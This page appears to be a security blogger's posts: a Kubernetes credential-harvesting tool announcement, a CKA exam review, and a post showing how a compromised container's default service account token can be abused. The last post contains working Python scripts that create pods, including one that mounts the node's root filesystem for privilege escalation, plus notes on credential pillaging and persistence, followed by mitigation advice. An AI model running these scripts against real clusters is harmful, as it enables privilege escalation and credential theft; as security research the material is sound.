Kubernetes Harvester to Gather Credentials with Limited Access

Project URL: https://github.com/sleventyeleven/Kubernetes-Harvester

Kubernetes Harvester Example Run

What is Kubernetes Harvester?

Harvester is a new python based project that attempts to leverage access in order to gather potentially sensitive information. Its designed to either leverage the access of users credentials or the default access granted to a pod via automountServiceAccountToken, which I wrote about recently. The harvester.py script currently primarily targets pod container environment variables, container manifest environment variables, and config map entries utilized as environment variables, to look for potential credentials.

Why Create A Credential Harvester

The default admission controls in many of the Kubernetes implementation apply a read/view policy to newly created users. However custom policies, admissions, and operators have become more common place. What’s more troublesome is the read permissions given to the automountServiceAccountToken by default. Without adjusting or disabling service tokens, compromised containers could effectively read all pod specs in all namespaces. With access to all pod specs, an attacker could potentially gather credentials or other sensitive information. Harvester is a tool that attempts to help automate the review process.

How Kubernetes Harvester Works

The harvester.py script utilizes the automountServiceAccountToken mounted within a given container or the standard user credentials within the Kube config file (~/.kube/config). Then the Kube API server is queried to look for sensitive information within the pod spec of each pod in the following steps.

  1. Use access to request pod specs for all namespaces within the cluster.
  2. Parse all pod specs to map and dedupe container container information
  3. Review each containers environment variables for sensitive values
  4. Review each config map entry, mapped to container environment variables for sensitive values
  5. Attempt to pull each container image and review the manifest environment variables for sensitive values
  6. Attempt to request authentication tokens from the internal metadata API for each of the major cloud provider

Other Resources:

  • Introduction to Kubernetes – A Free introduction course diving into Kubernetes as a tool for containerized infrastructure. Its a a great place to begin if your just getting started with Kubernetes.
  • The Linux Foundations Official Course – This is the most robust general knowledge based course I’ve seen. If you want to learn Kubernetes and how to do almost anything with it, get the CKA + CKAD combo package.

CKA Exam Review, Tips, and Resources

CKA Exam Review Logo

CKA Exam Overview

The Certified Kubernetes Administrator (CKA) exam is the premiere certification to demonstrate a candidates skills with Kubernetes. The exam consists of a set of 15-20 multi-part real world tasks, which must be completed within 2 hours. The exam takes place in a live, multi-cluster Kubernetes environment. Candidates are only given command line access to the exam environment and are expected to have the efficiency to complete the majority of the tasks. Based on my CKA Exam review and experience, I believe this is one of the most rigorous exams I have encountered yet.

CKA Exam Review

The Linux Foundation (LF) and The Cloud Native Computing Foundation (CNCF) really brought their “A” game, when partnering to develop this exam. Not only is Kubernetes as a technology not very old, its still very much not mainstream. Nonetheless the packaged course work and exam itself provides a robust set of base knowledge that can probably lay the foundation for the start of a career at a modern company or startup. Or if your current company is trying to harness the cost saving power of moving to containerization in the cloud, this exam is also a good starting place.

Preparing for the CKA Exam

When it comes to preparing for the exam, you need to build a strong foundational knowledge through training and/or hands on experience. Part of the rigor of this exam is the sear fact that you will basically be typing non-stop for 2 hours straight in order to successfully complete the exam. If your not very comfortable completing tasks with kubectl, your not likely to pass the exam. When you believe your ready, I’d recommend running through some more practice questions. Just to build up your comfort and efficiency with kubectl commands.

I can’t stress enough, how much pressure is felt during these multi-part tasks as the clock ticks away. You will want to be able to complete the majority of the tasks quick enough to have time to check your work and than work through a few of the task you aren’t as sure about. Use your time wisely and use the CKA exam review feature that’s built into the exam platform. It allows you to mark items for review and add notes, so you can easily come back later.

Get used to the structure of the official kubernetes.io documentation and kubectl command line help. Even though there are tons of resources and communities for Kubernetes administration. These other resources are not available during the exam. So during exam perpetration, only use the official documentation. Limiting yourself, will only help improve familiarity and comfort as you work through more challenging exam tasks.

CKA Exam Resources

  • Kubernetes the hard way – This is a great step by step guide to, setup Kubernetes manually. Highly recommended you work through a manual setup of Kubernetes from scratch at least once. There will likely be exam tasks around installing or fixing base services.
  • The Linux Foundations Official Course – This is the most robust general knowledge based course I’ve seen. If you want to learn Kubernetes and how to do almost anything with it, get the CKA + CKAD combo package.
  • CKA with Practice Tests – The top rated Udemy course for CKA. I highly recommend this course for those who may have some work experience with Kubernetes and want a course that teaches what is directly related to the exam. Its also worth while to pick up this course for the practice tests and exercises alone.
  • CKA and CKAD Instructions – Review the exam instructions and information multiple times, before sitting for the exam. Not only do the exam instructions provide guidance as to what is required during the exam. But it also provides important information about about the exam environment and tips for using the exam platform.
  • Kubernetes Documentation Tasks – These are the administration task guides as laid out by the Kubernetes developers. Not only should you be comfortable completing the majority of these tasks, but these task guides could prove to be a valuable resource during the exam.
  • CKAD Exercises – Although not all exercises directly relate to the CKA exam, they offer a wide range of items to build comfort with the Kubernetes command line tools. What I like about these exercises is each represents an item that may be contained within an exam task. If your unsure, it provides the most direct way to complete the prompt in a hidden field.

CKA Exam Tips and Tricks

  1. Try to do everything with kubectl in order to increase your speed and accuracy. The majority (70-80%) of the exam should be completable with kubectl commands alone.
  2. ALWAYS run the context command at the top of every task, before completing any of the work. If your ever not sure, just run it again. A correct solution to an exam task, completed in the wrong context, likely wont be scored.
  3. The new exam interface is optimized to copy and paste custom strings, such as names, labels, metadata, etc. Utilize the feature heavily in order to avoid type-o’s during the exam.
  4. Read the task fully before beginning work. Things may need to be completed in a certain order or on certain nodes in order to fully complete the question.
  5. Above all priorities your time wisely. You are aloud to utilize the Kubernetes online and system documentation during the exam. But if you don’t know how to efficiently complete the prompt once you have fully read the task, then move on and come back to the task later.

Abuse Kubernetes with the AutomountServiceAccountToken

While I was recently practicing to take my Certified Kuberenetes Administrator (CKA) exam, I ran across an interesting default option called automountServiceAccountToken. This option, automatically mounts the service account token, within each container of a given pod. This account token is meant to provide the pod the ability to interact with the Kubernetes API server. This option being enabled by default, creates a great way for attackers with access to a single container, to abuse Kubernetes with the Automount Service Account token.

What is the Service Account Token?

Within Kubernetes, even a pod with only a single container must have a service account within its specifications. This is because the service account dictates permissions and is used to run a pods processes. By default, if a service account isn’t provided during the creation of the pod, then the “default” service account for the pods namespace is added automatically. Without a different service account being automatically created within each namespace and added to each pod spec, there wouldn’t be any real resource/process separation happening between different namespaces.

How does automountServiceAccountToken work?

When a namespace is created within Kubernetes the kube-controller-manager uses the serviceaccount-controller and the token-controller to make sure the service account called “default” exists with a valid API Bearer token. When a pod is created within the new namespace, the admission controller then checks the pod spec for a valid service account and adds the “default” service account if one doesn’t exist. If the “automountServiceAccountToken” option isn’t explicitly set to false within either the pod spec or service account spec, then the admission controller will also add a volume mount for the service account token, to each container within the pod spec. This results in the namespaced secret for the service account token being mounted directly to “/var/run/secrets/kubernetes.io/serviceaccount” within every running container by default.

Why is the AutomountServiceAccountToken bad?

Since the permissions are assigned to a service account and all pod processes are run as the service account, effectively all pods within a given namespace operate at the same level. So when the service account token mount was added to provide better access to the Kubernetes API server, there wasn’t much need to disable it by default. Additionally, some popular tooling have utilized the service account token to communicate with Kubernetes and as such it may be required in order to meet compatibility requirements.

However, this token becomes problematic if an attacker gains access to a container via some other exploit. This is further compounded by the fact that the default service account permissions are effectively read-write within the namespace and global read for most resource types. So with a simple script or even curl commands we can abuse Kubernetes with the automount service account token.

How to Abuse AutomountServiceAccountToken

I could probably write a whole post around the topic of interacting with the Kubernetes API, but lucky almost all major programing languages already have Kubernetes client libraries. In my case, I often write in python and the python client library can handle loading a containers service account token. With that token we can utilize simple function calls like within the following example to create and even delete our own pods.

from kubernetes import client, config
import time

# Load the containers local service account token
config.load_incluster_config()

# get the current namespace from automount for ease of use :)
current_namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read()

# Establish the core API object to interact with
v1=client.CoreV1Api()

# create a basic pod manifest
pod_manifest = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {
                'name': 'busybox'
            },
            'spec': {
                'containers': [{
                    'image': 'busybox',
                    'name': 'sleep',
                    "args": [
                        "/bin/sh",
                        "-c", 
                        "while true;do python -c '<Shell code>';sleep 5; done"
                    ]
                }]
            }
        }

print("Listing all pods within the current namespace, before trying to add a pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to deploy a new pod with our custom pod manifest")
v1.create_namespaced_pod(namespace=current_namespace, body=pod_manifest)

time.sleep(10)
print("Listing all pods within the current namespace, after trying to add a busybox pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to delete the  busybox pod we just created")
v1.delete_namespaced_pod(name="busybox", namespace=current_namespace, body=client.V1DeleteOptions())

time.sleep(10)
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

Using service account token to escalate privilege with node root volume

Since by default there are not any pod security polices to restrict the ability to mount a nodes local root filesystem. We can try to leverage the service account token within a compromised container to create a new pod with a volume which mounts the nodes root filesystem with a similar script.

from kubernetes import client, config
import time

config.load_incluster_config()
from kubernetes import client, config
import time

# Load the containers local service account token
config.load_incluster_config()

# get the current namespace from automount for ease of use :)
current_namespace = open("/var/run/secrets/kubernetes.io/serviceaccount/namespace").read()

# Establish the core API object to interact with
v1=client.CoreV1Api()

# create a basic pod manifest
pod_manifest = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {
                'name': 'support'
            },
            'spec': {
                'containers': [{
                    'image': 'busybox',
                    'name': 'sleep',
                    "args": [
                        "/bin/sh",
                        "-c",
                        "while true;do python -c '<Shell code>';sleep 5; done"
                    ],
					'volumeMounts': [{
                        'name': 'host',
                        'mountPath': '/host'
                    }]
                }],
                'volumes': [{
                    'name': 'host',
                    'hostPath': {
                        'path': '/',
                        'type': 'Directory'
                    }
                }]
            }
        }

print("Listing all pods within the current namespace, before trying to add a pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

print("Trying to deploy a new pod with our custom comand")
v1.create_namespaced_pod(namespace=current_namespace,body=pod_manifest)

time.sleep(10)
print("Listing all pods within the current namespace, after trying to add a busybox pod")
ret = v1.list_namespaced_pod(namespace=current_namespace)
for i in ret.items:
    print("%s  %s  %s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))

You can also use the node selector and label like “kubernetes.io/hostname” to try and get the new pod to spin up on a higher value control plane node.

With access to a pod container with the nodes root filesystem mounted, normal file and credential pillaging can take place. Also easier persistence methods can be used with write access, like adding a crontab or my recent post on leveraging controlled failure of systemd services, to gain a foot hold on the Kubernetes control plane.

How to Fix AutomountServiceAccountToken Issues?

Based on the official issue #57601, opened in late 2017. This issue is unlikely to be addressed until API v2 is available, because it’s currently required for backwards compatibility. That being said, this issue can still be addresses manually by setting “automountServiceAccountToken: false” on the “default” service account for each namespace and/or creating an Initializer to inject a custom service account upon pod creation. The only other option would be to patch a change to the admission controller, but that would risk issues with compatibility and break future upgrades.